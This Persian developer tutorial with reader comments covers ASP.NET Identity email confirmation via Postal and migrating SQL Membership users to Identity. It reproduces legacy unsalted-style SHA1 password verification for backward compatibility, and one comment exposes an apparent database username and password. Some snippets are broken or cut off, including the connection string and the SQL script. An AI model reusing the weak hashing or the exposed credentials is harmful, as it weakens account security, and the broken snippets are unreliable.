        var user = await UserManager.FindAsync(model.UserName, model.Password);
        if (user != null && user.IsConfirmed)
        {
            await SignInAsync(user, model.RememberMe);
            return RedirectToLocal(returnUrl);
        }
        else
        {
            ModelState.AddModelError("", "Invalid username or password.");
        }
    }

    // If we got this far, something failed, redisplay form
    return View(model);
}
```

تنها کاری که می‌کنیم این است که به دنبال کاربری می‌گردیم که فیلد IsConfirmed آن true باشد. اگر مقدار این فیلد false باشد کاربر را به سایت وارد نمی‌کنیم و پیغام خطایی نمایش می‌دهیم.
همین. این تمام چیزی بود که برای اضافه کردن تصدیق ایمیل به اپلیکیشن خود نیاز دارید. از آنجا که سیستم ASP.NET Identity با Entity Framework مدیریت می‌شود و با مدل Code First ساخته شده، سفارشی کردن اطلاعات کاربران و سیستم عضویت ساده‌تر از همیشه است.

توضیحاتی درباره کار با Postal

اگر به متد SendEmailConfirmation دقت کنید خواهید دید که آبجکتی از نوع Email می‌سازیم (که در اسمبلی‌های Postal وجود دارد) و از آن برای ارسال ایمیل استفاده می‌کنیم. عبارت "RegEmail" نام نمایی است که باید برای ساخت ایمیل استفاده شود. این متغیر از نوع dynamic است، مانند خاصیت ViewBag. بدین معنا که می‌توانید مقادیر مورد نظر خود را بصورت خواص دینامیک روی این آبجکت تعریف کنید. از آنجا که Postal از موتور Razor استفاده می‌کند، بعدا در View ایمیل خود می‌توانید به این مقادیر دسترسی داشته باشید.
در پوشه Views پوشه جدیدی بنام Emails بسازید. سپس یک فایل جدید با نام RegEmail.cshtml در آن ایجاد کنید. کد این فایل را با لیست زیر جایگزین کنید.

```
To: @ViewBag.To
From: YOURNAME@gmail.com
Subject: Confirm your registration

Hello @ViewBag.UserName,
Please confirm your registration by following the link bellow.

@Html.ActionLink(Url.Action("RegisterConfirmation", "Account", new { id = @ViewBag.ConfirmationToken
}), "RegisterConfirmation", "Account", new { id = @ViewBag.ConfirmationToken }, null)
```

این فایل، قالب ایمیل‌های شما خواهد بود. ایمیل‌ها در حال حاظر بصورت plain text ارسال می‌شوند. برای اطلاعات بیشتر درباره ایمیل‌های HTML و امکانات پیشرفته‌تر به سایت پروژه Postal مراجعه کنید.
همانطور که مشاهده می‌کنید در این نما همان خاصیت‌های دینامیک تعریف شده را فراخوانی می‌کنیم تا مقادیر لازم را بدست آوریم.

To. ViewBag آدرس ایمیل گیرنده را نشان می‌دهد.
UserName. ViewBag نام کاربر جاری را نمایش می‌دهد.
ConfirmationToken. ViewBag شناسه تولید شده برای تایید کاربر است.

در این قالب لینکی به متد RegisterConfirmation در کنترلر Account وجود دارد که شناسه تایید را نیز با پارامتری بنام id انتقال می‌دهد.
یک فایل _ViewStart.cshtml هم در این پوشه بسازید و کد آن را با لیست زیر جایگزین کنید.

```
@{ Layout = null; /* Overrides the Layout set for regular page views. */ }
```

نظرات خوانندگان

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۱۰/۱۹ ۲۲:۱۴

با تشکر از شما. لطفا View ایمیل ارسالی را (متن حاوی لینک) که توسط کتابخانه Postal پردازش می‌شود، نیز ارسال نمائید. چون الان به نظر متد SendEmailConfirmation مشخص نیست چه متنی را ارسال می‌کند و چطور آن متن را دریافت می‌کند.

نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۰/۱۹ ۲۳:۷

با تشکر از شما، پست بروز رسانی شد.

نویسنده: کاربر
تاریخ: ۱۳۹۲/۱۱/۰۵ ۱۶:۵۲

با تشکر لطفا تنظیمات smtp مربوطه رو هم قرار بدید
سایت سازنده تنظیمات رو در وب کانفیگ قرار داده بود، برای جیمیل من تنظیمات زیر رو مینویسم ولی خطای timed out میده

```
<system.net>
<mailSettings>
<smtp >
  <network host="smtp.gmail.com" userName="My Gmail Email"
  password="my Password" enableSsl="true" port="465" defaultCredentials="true"/>
</smtp>
</mailSettings>
  </system.net>
```

لطفا راهنمایی بفرمایید با تشکر

نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۱/۰۵ ۱۹:۵۲

```
<system.net>
  <mailSettings>
    <smtp deliveryMethod="Network" from="armin.zia@gmail.com">
      <network host="smtp.gmail.com" port="587" defaultCredentials="false" enableSsl="true"
userName="YOUR-EMAIL" password="YOUR-PASSWORD" />
    </smtp>
  </mailSettings>
</system.net>
```

نویسنده: داود
تاریخ: ۱۳۹۲/۱۲/۰۵ ۰:۲۷

اگر بخوایم کاربر در فرم لاگین هم با username و هم با email که تأیید شده وارد بشه باید چه کار کنیم؟

نویسنده: Mr.J
تاریخ: ۱۳۹۳/۰۲/۰۱ ۱۵:۱۳

سلام
من دقیقا طبق دستورات بالا کدهام رو نوشتم اما این خطارو میگیره...

```
The SMTP host was not specified.
```

و در قسمت web.config اصلی سایت هم این کدهارو اضافه کردم

```
<system.net>
<mailSettings>
<smtp from="my_gmail">
  <network host="smtp.gmail.com" port="587" defaultCredentials="false" enableSsl="true"
userName="my_gmail" password="mypassword" />
</smtp>
</mailSettings>
  </system.net>
```

مشکل از کجاست.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۲/۰۱ ۱۷:۱۲

نباید مشکلی باشد. مگر اینکه محل قرارگیری تنظیمات system.net شما توسط برنامه قابل یافت شدن نباشد. مثلا آن‌را داخل system.web قرار داده باشید یا مکان دیگری. system.net یک مدخل مجزا و مستقل است. همچنین اگر سایت چندین وب کانفیگ دارد (مانند برنامه‌های ASP.NET MVC)، وب کانفیگ موجود در ریشه سایت باید تنظیم شود و نه مورد موجود در پوشه‌ی Views برنامه.

نویسنده: ذهن خوان
تاریخ: ۱۳۹۴/۰۶/۰۹ ۱۵:۵۲

سلام؛ در قسمت RegEmail.cshtml خط آخر دارای ارور هنگام اجرا هستم.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۴/۰۶/۰۹ ۱۶:۳۸

- ابتدا بررسی کنید مقادیر viewbagهای دریافتی در این View نال هستند یا خیر؟
- سپس تعریف ActionLink موجود در متن فوق را به صورت زیر اصلاح کنید (قسمت آخر آن در متن، دوبار تکرار شده‌است):

```
Html.ActionLink(".....Click Here for Confirmation.....",
                "RegisterConfirmation", "Account", new { id = @ViewBag.ConfirmationToken }, null)
```

نویسنده: ذهن خوان
تاریخ: ۱۳۹۴/۰۶/۰۹ ۱۹:۵۷

بسیار متشکرم بابت پاسخ، همه چی عالیه جز اینکه متد send پیغام timeout می‌دهد و تمامی پورت‌های SMTP رو چک کردم. به نظر شما امکانش هست مشکل از Portal باشه؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۴/۰۶/۰۹ ۲۰:۳۷

Portal بیشتر یک واسطه و یک لایه مخفی ساز کار با مباحث ارسال ایمیل است. این موارد را بهتر است بررسی کنید:

« چگونه بررسی کنیم smtp server مورد نظر ما کار می‌کند؟ »

« تنظیمات امنیتی SMTP Server متعلق به IIS 6.0 جهت قرارگیری بر روی اینترنت »

برای آزمایش‌های محلی:

« شبیه سازی ارسال ایمیل در ASP.Net »

« شبیه ساز میل سرور برای برنامه نویس‌ها »

عنوان: **مهاجرت از SQL Membership به ASP.NET Identity**
نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۰/۲۱ ۱۸:۳۰
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, Security, MemberShip, ASP.NET Identity

در این مقاله مهاجرت یک اپلیکیشن وب که توسط SQL Membership ساخته شده است را به سیستم جدید ASP.NET Identity بررسی می‌کنیم. برای این مقاله از یک قالب اپلیکیشن وب (Web Forms) که توسط Visual Studio 2010 ساخته شده است برای ساختن کاربران و نقش‌ها استفاده می‌کنیم. سپس با استفاده از یک SQL Script دیتابیس موجود را به دیتابیسی که ASP.NET Identity نیاز دارد تبدیل می‌کنیم. در قدم بعدی پکیج‌های مورد نیاز را به پروژه اضافه می‌کنیم و صفحات جدیدی برای مدیریت حساب‌های کاربری خواهیم ساخت. بعنوان یک تست، کاربران قدیمی که توسط SQL Membership ساخته شده بودند باید قادر باشند به سایت وارد شوند. همچنین کاربران جدید باید بتوانند بدون هیچ مشکلی در سیستم ثبت نام کنند. سورس کد کامل این مقاله را می‌توانید از این لینک دریافت کنید.

یک اپلیکیشن با SQL Membership بسازید

برای شروع به اپلیکیشنی نیاز داریم که از SQL Membership استفاده می‌کند و دارای داده هایی از کاربران و نقش‌ها است. برای این مقاله، بگذارید پروژه جدیدی توسط VS 2010 بسازیم.

حال با استفاده از ابزار ASP.NET Configuration دو کاربر جدید بسازید: **oldAdminUser** و **oldUser** .

Project
Build
Debug
Team
XML
Data
Tools
Architecture
Test
Add Class...
Add New Item...
Ctrl+Shift+A
Add Existing Item...
Shift+Alt+A
Add ASP.NET Folder
Build Deployment Package
Package/Publish Settings
Exclude From Project
Show All Files
Add Reference...
Add Service Reference...
Set as StartUp Project
Use IIS Express...
Add Deployable Dependencies...
Manage NuGet Packages...
Enable NuGet Package Restore
Refresh Project Toolbox Items
SQLMembership-Identity-OWIN Properties...
ASP.NET Configuration

نقش جدیدی با نام Admin بسازید و کاربر oldAdminUser را به آن اضافه کنید.

بخش جدیدی با نام Admin در سایت خود بسازید و فرمی بنام Default.aspx به آن اضافه کنید. همچنین فایل web.config این قسمت را طوری پیکربندی کنید تا تنها کاربرانی که در نقش Admin هستند به آن دسترسی داشته باشند. برای اطلاعات بیشتر به این لینک مراجعه کنید.

پنجره Server Explorer را باز کنید و جداول ساخته شده توسط SQL Membership را بررسی کنید. اطلاعات اصلی کاربران که برای ورود به سایت استفاده می‌شوند، در جداول **aspnet_Users** و **aspnet_Membership** ذخیره می‌شوند. داده‌های مربوط به نقش‌ها نیز در جدول **aspnet_Roles** ذخیره خواهند شد. رابطه بین کاربران و نقش‌ها نیز در جدول **aspnet_UsersInRoles** ذخیره می‌شود، یعنی اینکه هر کاربری به چه نقش هایی تعلق دارد.

برای مدیریت اساسی سیستم عضویت، مهاجرت جداول ذکر شده به سیستم جدید ASP.NET Identity کفایت می‌کند.

مهاجرت به Visual Studio 2013

برای شروع ابتدا Visual Studio Express 2013 for Web یا Visual Studio 2013 را نصب کنید.

حال پروژه ایجاد شده را در نسخه جدید ویژوال استودیو باز کنید. اگر نسخه ای از SQL Server Express را روی سیستم خود نصب نکرده باشید، هنگام باز کردن پروژه پیغامی به شما نشان داده می‌شود. دلیل آن وجود رشته اتصالی است که از SQL Server Express استفاده می‌کند. برای رفع این مساله می‌توانید SQL Express را نصب کنید، و یا رشته اتصال را طوری تغییر دهید که از LocalDB استفاده کند.

فایل web.config را باز کرده و رشته اتصال را مانند تصویر زیر ویرایش کنید.

```
<configuration>
  <connectionStrings>
    <add name="ApplicationServices"
         connectionString="data source=(LocalDb)\v11.0;Integrated Security=SSPI;AttachDBFilename=|DataDirectory|\aspnetdb.mdf
         providerName="System.Data.SqlClient" />
  </connectionStrings>
```

پنجره Server Explorer را باز کنید و مطمئن شوید که الگوی جداول و داده‌ها قابل رویت هستند.
سیستم ASP.NET Identity با نسخه 4.5 دات نت فریم ورک و بالاتر سازگار است. پس نسخه فریم ورک پروژه را به آخرین نسخه (4.5.1) تغییر دهید.

پروژه را Build کنید تا مطمئن شوید هیچ خطایی وجود ندارد.

نصب پکیج‌های NuGet

در پنجره Solution Explorer روی نام پروژه خود کلیک راست کرده، و گزینه Manage NuGet Packages را انتخاب کنید. در قسمت جستجوی دیالوگ باز شده، عبارت "Microsoft.AspNet.Identity.EntityFramework" را وارد کنید. این پکیج را در لیست نتایج انتخاب کرده و آن را نصب کنید. نصب این بسته، نیازمندهای موجود را بصورت خودکار دانلود و نصب می‌کند: **EntityFramework** و **ASP.NET Identity Core** . حال پکیج‌های زیر را هم نصب کنید (اگر نمی‌خواهید OAuth را فعال کنید، 4 پکیج آخر را نادیده بگیرید).

Microsoft.AspNet.Identity.Owin

Microsoft.Owin.Host.SystemWeb

Microsoft.Owin.Security.Facebook

Microsoft.Owin.Security.Google

Microsoft.Owin.Security.MicrosoftAccount

Microsoft.Owin.Security.Twitter

مهاجرت دیتابیس فعلی به سیستم ASP.NET Identity

قدم بعدی مهاجرت دیتابیس فعلی به الگویی است، که سیستم ASP.NET Identity به آن نیاز دارد. بدین منظور ما یک اسکریپت SQL را اجرا می‌کنیم تا جداول جدیدی بسازد و اطلاعات کاربران را به آنها انتقال دهد. فایل این اسکریپت را می‌توانید از لینک https://github.com/suhasj/SQLMembership-Identity-OWIN دریافت کنید.

این اسکریپت مختص این مقاله است. اگر الگوی استفاده شده برای جداول سیستم عضویت شما ویرایش/سفارشی-سازی شده باید این اسکریپت را هم بر اساس این تغییرات بروز رسانی کنید.

پنجره Server Explorer را باز کنید. گره اتصال ApplicationServices را باز کنید تا جداول را مشاهده کنید. روی گره Tables کلیک راست کرده و گزینه New Query را انتخاب کنید.

در پنجره کوئری باز شده، تمام محتویات فایل *Migrations.sql* را کپی کنید. سپس اسکریپت را با کلیک کردن دکمه Execute اجرا کنید.

```sql
DROP TABLE AspNetUserRoles;

DROP TABLE AspNetUserClaims;

DROP TABLE AspNetUserLogins;

DROP TABLE AspNetRoles;

DROP TABLE AspNetUsers;

CREATE TABLE [dbo].[AspNetUsers] (
    [Id]                    NVARCHAR (128) NOT NULL,
    [UserName]              NVARCHAR (MAX) NULL,
    [PasswordHash]          NVARCHAR (MAX) NULL,
    [SecurityStamp]         NVARCHAR (MAX) NULL,
    [Discriminator]         NVARCHAR (128) NOT NULL,
    [ApplicationId]                        UNIQUEIDENTIFIER NOT NULL,
    [PasswordFormat]                       INT              DEFAULT ((0)) NULL,
    [PasswordSalt]                         NVARCHAR (128)   NULL,
    [LegacyPasswordHash]  NVARCHAR (MAX) NULL,
    [LoweredUserName]  NVARCHAR (256)   NOT NULL,
    [MobileAlias]      NVARCHAR (16)    DEFAULT (NULL) NULL,
    [IsAnonymous]      BIT              DEFAULT ((0)) NOT NULL,
    [LastActivityDate] DATETIME         NOT NULL,
    [MobilePIN]                            NVARCHAR (16)    NULL,
    [Email]                                NVARCHAR (256)   NULL,
    [LoweredEmail]                         NVARCHAR (256)   NULL,
    [PasswordQuestion]                     NVARCHAR (256)   NULL,
    [PasswordAnswer]                       NVARCHAR (128)   NULL,
    [IsApproved]                           BIT              NOT NULL,
    [IsLockedOut]                          BIT              NOT NULL,
    [CreateDate]                           DATETIME         NOT NULL,
    [LastLoginDate]                        DATETIME         NOT NULL,
    [LastPasswordChangedDate]              DATETIME         NOT NULL,
    [LastLockoutDate]                      DATETIME         NOT NULL,
    [FailedPasswordAttemptCount]           INT              NOT NULL,
    [FailedPasswordAttemptWindowStart]     DATETIME         NOT NULL,
    [FailedPasswordAnswerAttemptCount]     INT              NOT NULL,
```

ممکن است با اخطاری مواجه شوید مبنی بر آنکه امکان حذف (drop) بعضی از جداول وجود نداشت. دلیلش آن است که چهار عبارت اولیه در این اسکریپت، تمام جداول مربوط به Identity را در صورت وجود حذف می‌کنند. از آنجا که با اجرای اولیه این اسکریپت چنین جداولی وجود ندارند، می‌توانیم این خطاها را نادیده بگیریم. حال پنجره Server Explorer را تازه (refresh) کنید و خواهید دید که پنج جدول جدید ساخته شده اند.

لیست زیر نحوه Map کردن اطلاعات از جداول SQL Membership به سیستم Identity را نشان می‌دهد.

aspnet_Roles --> **AspNetRoles**

aspnet_Users, aspnet_Membership --> **AspNetUsers**

aspnet_UsersInRoles --> **AspNetUserRoles**

جداول AspNetUserClaims و AspNetUserLogins خالی هستند. فیلد تفکیک کننده (Discriminator) در جدول AspNetUsers باید مطابق نام کلاس مدل باشد، که در مرحله بعدی تعریف خواهد شد. همچنین ستون PasswordHash به فرم 'encrypted password salt|password format|password' می‌باشد. این شما را قادر می‌سازد تا از رمزنگاری برای ذخیره و بازیابی کلمه‌های عبور استفاده کنید. این مورد نیز در ادامه مقاله بررسی شده است.

ساختن مدل‌ها و صفحات عضویت

بصورت پیش فرض سیستم ASP.NET Identity برای دریافت و ذخیره اطلاعات در دیتابیس عضویت از Entity Framework استفاده می‌کند. برای آنکه بتوانیم با جداول موجود کار کنیم، می‌بایست ابتدا مدل هایی که الگوی دیتابیس را نمایندگی می‌کنند ایجاد کنیم. برای این کار مدل‌های ما یا باید اینترفیس‌های موجود در Identity.Core را پیاده سازی کنند، یا می‌توانند پیاده سازی‌های پیش فرض را توسعه دهند. پیاده سازی‌های پیش فرض در Microsoft.AspNet.Identity.EntityFramework وجود دارند.

در نمونه ما، جداول AspNetRoles, AspNetUserClaims, AspNetLogins و AspNetUserRole ستون هایی دارند که شباهت زیادی به پیاده سازی‌های پیش فرض سیستم Identity دارند. در نتیجه می‌توانیم از کلاس‌های موجود، برای Map کردن الگوی جدید استفاده کنیم. جدول AspNetUsers ستون‌های جدیدی نیز دارد. می‌توانیم کلاس جدیدی بسازیم که از **IdentityUser** ارث بری کند و آن را گسترش دهیم تا این فیلدهای جدید را پوشش دهد.

پوشه ای با نام Models بسازید (در صورتی که وجود ندارد) و کلاسی با نام User به آن اضافه کنید.

کلاس User باید کلاس IdentityUser را که در اسمبلی Microsoft.AspNet.Identity.EntityFramework وجود دارد گسترش دهد. خاصیت هایی را تعریف کنید که نماینده الگوی جدول AspNetUser هستند. خواص ID, Username, PasswordHash و SecurityStamp در کلاس IdentityUser تعریف شده اند، بنابراین این خواص را در لیست زیر نمی‌بینید.

```
public class User : IdentityUser
    {
        public User()
        {
            CreateDate = DateTime.Now;
            IsApproved = false;
            LastLoginDate = DateTime.Now;
            LastActivityDate = DateTime.Now;
            LastPasswordChangedDate = DateTime.Now;
            LastLockoutDate = DateTime.Parse("1/1/1754");
            FailedPasswordAnswerAttemptWindowStart = DateTime.Parse("1/1/1754");
            FailedPasswordAttemptWindowStart = DateTime.Parse("1/1/1754");
        }

        public System.Guid ApplicationId { get; set; }
        public string MobileAlias { get; set; }
        public bool IsAnonymous { get; set; }
        public System.DateTime LastActivityDate { get; set; }
        public string MobilePIN { get; set; }
        public string Email { get; set; }
        public string LoweredEmail { get; set; }
        public string LoweredUserName { get; set; }
        public string PasswordQuestion { get; set; }
        public string PasswordAnswer { get; set; }
        public bool IsApproved { get; set; }
        public bool IsLockedOut { get; set; }
        public System.DateTime CreateDate { get; set; }
        public System.DateTime LastLoginDate { get; set; }
        public System.DateTime LastPasswordChangedDate { get; set; }
        public System.DateTime LastLockoutDate { get; set; }
        public int FailedPasswordAttemptCount { get; set; }
        public System.DateTime FailedPasswordAttemptWindowStart { get; set; }
        public int FailedPasswordAnswerAttemptCount { get; set; }
        public System.DateTime FailedPasswordAnswerAttemptWindowStart { get; set; }
        public string Comment { get; set; }
    }
```

حال برای دسترسی به دیتابیس مورد نظر، نیاز به یک DbContext داریم. اسمبلی Microsoft.AspNet.Identity.EntityFramework کلاسی با نام **IdentityDbContext** دارد که پیاده سازی پیش فرض برای دسترسی به دیتابیس ASP.NET Identity است. نکته قابل توجه این است که IdentityDbContext آبجکتی از نوع **TUser** را می‌پذیرد. TUser می‌تواند هر کلاسی باشد که از IdentityUser ارث بری کرده و آن را گسترش می‌دهد.

در پوشه Models کلاس جدیدی با نام **ApplicationDbContext** بسازید که از IdentityDbContext ارث بری کرده و از کلاس

User استفاده می‌کند.

```
public class ApplicationDbContext : IdentityDbContext<User>
{

}
```

مدیریت کاربران در ASP.NET Identity توسط کلاسی با نام UserManager انجام می‌شود که در اسمبلی Microsoft.AspNet.Identity.EntityFramework قرار دارد. چیزی که ما در این مرحله نیاز داریم، کلاسی است که از UserManager ارث بری می‌کند و آن را طوری توسعه می‌دهد که از کلاس User استفاده کند.

در پوشه Models کلاس جدیدی با نام UserManager بسازید.

```
public class UserManager : UserManager<User>
{

}
```

کلمه عبور کاربران بصورت رمز نگاری شده در دیتابیس ذخیره می‌شوند. الگوریتم رمز نگاری SQL Membership با سیستم ASP.NET Identity تفاوت دارد. هنگامی که کاربران قدیمی به سایت وارد می‌شوند، کلمه عبورشان را توسط الگوریتم‌های قدیمی SQL Membership رمزگشایی می‌کنیم، اما کاربران جدید از الگوریتم‌های ASP.NET Identity استفاده خواهند کرد.

کلاس UserManager خاصیتی با نام **PasswordHasher** دارد. این خاصیت نمونه ای از یک کلاس را ذخیره می‌کند، که اینترفیس IPasswordHasher را پیاده سازی کرده است. این کلاس هنگام تراکنش‌های احراز هویت کاربران استفاده می‌شود تا کلمه‌های عبور را رمزنگاری/رمزگشایی شوند. در کلاس UserManager کلاس جدیدی بنام SQLPasswordHasher بسازید. کد کامل را در لیست زیر مشاهده می‌کنید.

```
public class SQLPasswordHasher : PasswordHasher
{
        public override string HashPassword(string password)
        {
            return base.HashPassword(password);
        }

        public override PasswordVerificationResult VerifyHashedPassword(string hashedPassword, string
providedPassword)
        {
            string[] passwordProperties = hashedPassword.Split('|');
            if (passwordProperties.Length != 3)
            {
                return base.VerifyHashedPassword(hashedPassword, providedPassword);
            }
            else
            {
                string passwordHash = passwordProperties[0];
                int passwordformat = 1;
                string salt = passwordProperties[2];
                if (String.Equals(EncryptPassword(providedPassword, passwordformat, salt),
passwordHash, StringComparison.CurrentCultureIgnoreCase))
                {
                    return PasswordVerificationResult.SuccessRehashNeeded;
                }
                else
                {
                    return PasswordVerificationResult.Failed;
                }
            }
        }

        //This is copied from the existing SQL providers and is provided only for back-compat.
        private string EncryptPassword(string pass, int passwordFormat, string salt)
        {
            if (passwordFormat == 0) // MembershipPasswordFormat.Clear
                return pass;

            byte[] bIn = Encoding.Unicode.GetBytes(pass);
```

```
            byte[] bSalt = Convert.FromBase64String(salt);
            byte[] bRet = null;

            if (passwordFormat == 1)
            { // MembershipPasswordFormat.Hashed
                HashAlgorithm hm = HashAlgorithm.Create("SHA1");
                if (hm is KeyedHashAlgorithm)
                {
                    KeyedHashAlgorithm kha = (KeyedHashAlgorithm)hm;
                    if (kha.Key.Length == bSalt.Length)
                    {
                        kha.Key = bSalt;
                    }
                    else if (kha.Key.Length < bSalt.Length)
                    {
                        byte[] bKey = new byte[kha.Key.Length];
                        Buffer.BlockCopy(bSalt, 0, bKey, 0, bKey.Length);
                        kha.Key = bKey;
                    }
                    else
                    {
                        byte[] bKey = new byte[kha.Key.Length];
                        for (int iter = 0; iter < bKey.Length; )
                        {
                            int len = Math.Min(bSalt.Length, bKey.Length - iter);
                            Buffer.BlockCopy(bSalt, 0, bKey, iter, len);
                            iter += len;
                        }
                        kha.Key = bKey;
                    }
                    bRet = kha.ComputeHash(bIn);
                }
                else
                {
                    byte[] bAll = new byte[bSalt.Length + bIn.Length];
                    Buffer.BlockCopy(bSalt, 0, bAll, 0, bSalt.Length);
                    Buffer.BlockCopy(bIn, 0, bAll, bSalt.Length, bIn.Length);
                    bRet = hm.ComputeHash(bAll);
                }
            }

            return Convert.ToBase64String(bRet);
    }
}
```

دقت کنید تا فضاهای نام System.Text و System.Security.Cryptography را وارد کرده باشید.

متد EncodePassword کلمه عبور را بر اساس پیاده سازی پیش فرض SQL Membership رمزنگاری می‌کند. این الگوریتم از System.Web گرفته می‌شود. اگر اپلیکیشن قدیمی شما از الگوریتم خاصی استفاده می‌کرده است، همینجا باید آن را منعکس کنید. دو متد دیگر نیز بنام‌های *HashPassword* و *VerifyHashedPassword* نیاز داریم. این متدها از EncodePassword برای رمزنگاری کلمه‌های عبور و تایید آنها در دیتابیس استفاده می‌کنند.

سیستم SQL Membership برای رمزنگاری (Hash) کلمه‌های عبور هنگام ثبت نام و تغییر آنها توسط کاربران، از PasswordHash, PasswordSalt و PasswordFormat استفاده می‌کرد. در روند مهاجرت، این سه فیلد در ستون PasswordHash جدول AspNetUsers ذخیره شده و با کاراکتر '|' جدا شده اند. هنگام ورود کاربری به سایت، اگر کله عبور شامل این فیلدها باشد از الگوریتم SQL Membership برای بررسی آن استفاده می‌کنیم. در غیر اینصورت از پیاده سازی پیش فرض ASP.NET Identity استفاده خواهد شد. با این روش، کاربران قدیمی لازم نیست کلمه‌های عبور خود را صرفا بدلیل مهاجرت اپلیکیشن ما تغییر دهند.

کلاس UserManager را مانند قطعه کد زیر بروز رسانی کنید.

```
public UserManager()
            : base(new UserStore<User>(new ApplicationDbContext()))
        {
            this.PasswordHasher = new SQLPasswordHasher();
 }
```

ایجاد صفحات جدید مدیریت کاربران

قدم بعدی ایجاد صفحاتی است که به کاربران اجازه ثبت نام و ورود را می‌دهند. صفحات قدیمی SQL Membership از کنترل هایی استفاده می‌کنند که با ASP.NET Identity سازگار نیستند. برای ساختن این صفحات جدید به این مقاله مراجعه کنید. از آنجا که در این مقاله پروژه جدید را ساخته ایم و پکیج‌های لازم را هم نصب کرده ایم، می‌توانید مستقیما به قسمت Adding Web Forms for registering users to your application بروید.

چند تغییر که باید اعمال شوند:

فایل‌های Register.aspx.cs و Login.aspx.cs از کلاس UserManager استفاده می‌کنند. این ارجاعات را با کلاس UserManager جدیدی که در پوشه Models ساختید جایگزین کنید.

همچنین ارجاعات استفاده از کلاس IdentityUser را به کلاس User که در پوشه Models ساختید تغییر دهید.

لازم است توسعه دهنده مقدار ApplicationId را برای کاربران جدید طوری تنظیم کند که با شناسه اپلیکیشن جاری تطابق داشته باشد. برای این کار می‌توانید پیش از ساختن حساب‌های کاربری جدید در فایل Register.aspx.cs ابتدا شناسه اپلیکیشن را بدست آورید و اطلاعات کاربر را بدرستی تنظیم کنید.

مثال: در فایل Register.aspx.cs متد جدیدی تعریف کنید که جدول aspnet_Applications را بررسی میکند و شناسه اپلیکیشن را بر اساس نام اپلیکیشن بدست می‌آورد.

```
private Guid GetApplicationID()
{
    using (SqlConnection connection = new
SqlConnection(ConfigurationManager.ConnectionStrings["ApplicationServices"].ConnectionString))
            {
                string queryString = "SELECT ApplicationId from aspnet_Applications WHERE
ApplicationName = '/'"; //Set application name as in database

                SqlCommand command = new SqlCommand(queryString, connection);
                command.Connection.Open();

                var reader = command.ExecuteReader();
                while (reader.Read())
                {
                    return reader.GetGuid(0);
                }

            return Guid.NewGuid();
        }
}
```

حال می‌توانید این مقدار را برای آبجکت کاربر تنظیم کنید.

```
var currentApplicationId = GetApplicationID();

User user = new User() { UserName = Username.Text,
ApplicationId=currentApplicationId, …};
```

در این مرحله می‌توانید با استفاده از اطلاعات پیشین وارد سایت شوید، یا کاربران جدیدی ثبت کنید. همچنین اطمینان حاصل کنید که کاربران پیشین در نقش‌های مورد نظر وجود دارند.

مهاجرت به ASP.NET Identity مزایا و قابلیت‌های جدیدی را به شما ارائه می‌کند. مثلا کاربران می‌توانند با استفاده از تامین کنندگان ثالثی مثل Facebook, Google, Microsoft, Twitter و غیره به سایت وارد شوند. اگر به سورس کد این مقاله مراجعه کنید خواهید دید که امکانات OAuth نیز فعال شده اند.

در این مقاله انتقال داده‌های پروفایل کاربران بررسی نشد. اما با استفاده از نکات ذکر شده می‌توانید پروفایل کاربران را هم بسادگی منتقل کنید. کافی است مدل‌های لازم را در پروژه خود تعریف کرده و با استفاده از اسکریپت‌های SQL داده‌ها را انتقال دهید.

نظرات خوانندگان

نویسنده: سمیرا قادری
تاریخ: ۱۳۹۲/۱۰/۲۳ ۱۳:۳۳

سلام ممنون از مطالب خوبتون .
زمانیکه در اپلیکیشن خودم asp.net Configuration و تب Security را انتخاب می‌نمایم با پیغام زیر مواجه می‌شوم Unable to connect to SQL Server database.
دستور زیر را هم اجرا کردم
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe -S . -A all -d tt -U sa_tt -P asd123
در صورتیکه از login و password آن مطمئن هستم ولی مشکل حل نشد
در صورتیکه مشکل از permission هست چگونه باید آن را حل کنم
webconfig برنامه به شرح زیر است
Data Source=.;Initial Catalog=tt;User ID=sa_tt;Password=asd123
با تشکر

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۱۰/۲۳ ۱۴:۴۵

تنظیمات وب کانفیگ خودتون رو با نمونه MSDN برای تعریف membership مطابقت بدید. جزئیات قسمت‌های مختلف آن

نویسنده: حمید
تاریخ: ۱۳۹۲/۱۰/۲۳ ۲۱:۱۰

خیلی ممنون آموزش‌های مفیدتون!
فرض کنید ما یک سیستم Authentication مثل Membership داریم با 2 تا نقش. حالا می‌خواهیم نقش A به فرم F1 و بعضی از متدهاش دسترسی داشته و در فرم F2، نقش B به آن دسترسی داشته باشه. خوب تا اینجا فکر کنم پیاده سازیش راحت باشه. ولی مساله از جایی پیچیده میشه که ما بخواهیم در زمان اجرا این تنظیمات رو عوض کنیم مثلا: در فرم F1، نقش A دسترسیش به متدها و حتی به کل فرم تغییر کنه و یا اجازه دسترسی به فرم B بهش داده بشه و این شرایط رو برای چندین نقش و یا در سطح کاربر داشت توصیه چیه؟ از چه تکنولوژی و یا راهکاری میشه به این مقصود رسید.
خیلی ممنون

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۱۰/۲۳ ۲۱:۳۷

پایه‌اش همین مسایل هست. فقط قسمتی که کار Authorization انجام میشه رو می‌توان سفارشی کرد. مثلا:

Dynamic Controller/Action Authorization in ASP.NET MVC
MVC Dynamic Authorization
ASP.NET MVC Custom Authorize Attribute with Roles Parser

نویسنده: کامران سادین
تاریخ: ۱۳۹۲/۱۱/۰۸ ۲:۱۳

ممنون از مطلب خوبتون.
من جداول خودم رو برای احراز هویت دارم آیا میشه همین جداول رو با ASP.NET Identity کار کنم؟
اگر نمیشه، این بانک ASP.NET Identity که توی SQL Server نمیسازه بانک Database.mdf رو میسازه، میشه توی SQL بسازیم از

همون ابتدای پروژه؟

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۱۱/۰۸ ۹:۲۰

